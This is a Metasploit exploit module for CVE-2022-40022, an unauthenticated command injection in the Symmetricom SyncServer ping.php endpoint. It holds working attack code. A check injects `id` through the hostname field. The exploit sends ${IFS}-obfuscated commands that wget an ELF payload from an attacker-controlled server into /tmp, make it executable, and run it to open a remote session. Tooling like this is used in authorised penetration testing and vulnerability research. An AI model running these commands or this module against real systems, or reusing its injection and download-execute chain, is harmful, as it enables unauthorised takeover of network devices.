##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit
  Rank = ExcellentRanking

  include Msf::Exploit::EXE
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Symmetricom SyncServer Unauthenticated Remote Command Execution',
        'Description' => %q{
          This module exploits an unauthenticated command injection vulnerability in /controller/ping.php.
          The S100 through S350 (End of Life) models should be vulnerable to
          unauthenticated exploitation due to a session handling vulnerability.
          Later models require authentication which is not provided in this module because we can't test it.
          The command injection vulnerability is patched in the S650 v2.2 (CVE-2022-40022).
          Run 'check' first to determine if vulnerable.
          The server limits outbound ports. Ports 25 and 80 TCP were successfully used for SRVPORT
          and LPORT while testing this module.
        },
        'Author' => [
          'Steve Campbell', # @lpha3ch0 - Exploit PoC, Metasploit module
          'Justin Fatuch Apt4hax', # Exploit PoC
          'Robert Bronstein' # Metasploit Module
        ],
        'References' => [
          ['CVE', '2022-40022'],
          ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2022-40022']
        ],
        'DisclosureDate' => '2022-08-31',
        'License' => MSF_LICENSE,
        'Platform' => 'linux',
        'Arch' => [ARCH_X86, ARCH_X64],
        'Targets' => [
          [ 'Automatic', {} ],
        ],
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [ CRASH_SAFE ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ]
        }
      )
    )
    register_options(
      [
        OptString.new('FILENAME', [true, 'Payload filename', 'payload.elf']),
        OptAddress.new('SRVHOST', [true, 'HTTP Server Bind Address', '127.0.1.1']),
        OptInt.new('SRVPORT', [true, 'HTTP Server Port', '4444'])
      ], self.class
    )
  end

  def primer; end

  def on_request_uri(cli, req)
    @pl = generate_payload_exe
    print_status("#{peer} - Payload request received: #{req.uri}")
    send_response(cli, @pl)
  end

  def check
    uri = '/controller/ping.php'
    res = send_request_cgi({
      'method' => 'POST',
      'uri' => uri,
      'vars_post' =>
          {
            'currentTab' => 'ping',
            'refreshMode' => 'dirty',
            'ethDirty' => 'false',
            'snmpCfgDirty' => 'false',
            'snmpTrapDirty' => 'false',
            'pingDirty' => 'true',
            'hostname' => "\`id\`",
            'port' => 'eth0',
            'pingType' => 'ping'
          }
    })
    if res && res.body.to_s =~ /uid=0/
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def request(cmd)
    uri = '/controller/ping.php'
    send_request_cgi({
      'method' => 'POST',
      'Content-Type' => 'application/x-www-form-encoded',
      'uri' => uri,
      'vars_post' =>
      {
        'currentTab' => 'ping',
        'refreshMode' => 'dirty',
        'ethDirty' => 'false',
        'snmpCfgDirty' => 'false',
        'snmpTrapDirty' => 'false',
        'pingDirty' => 'true',
        'hostname' => cmd,
        'port' => 'eth0',
        'pingType' => 'ping'
      }
    })
  end

  def exploit
    srvhost = datastore['SRVHOST']
    srvport = datastore['SRVPORT']
    filename = datastore['FILENAME']
    resource_uri = '/' + filename
    shell_path = '/tmp/'
    cmds = [
      "\`wget${IFS}http://" + srvhost + ':' + srvport + '/' + filename + '${IFS}-O${IFS}' + shell_path + filename + "\`",
      "\`chmod${IFS}700${IFS}" + shell_path + filename + "\`",
      "\`" + shell_path + filename + "\`"
    ]
    start_service({
      'Uri' => {
        'Proc' => proc { |cli, req|
                    on_request_uri(cli, req)
                  },
        'Path' => resource_uri
      }
    })
    print_status("#{rhost}:#{rport} - Exploit started...")
    print_status("#{rhost}:#{rport} - Sending wget command...")
    request(cmds[0])
    sleep(3)
    print_status("#{rhost}:#{rport} - Making payload executable...")
    request(cmds[1])
    sleep(3)
    print_status("#{rhost}:#{rport} - Executing payload...")
    request(cmds[2])
    sleep(3)
  end
end
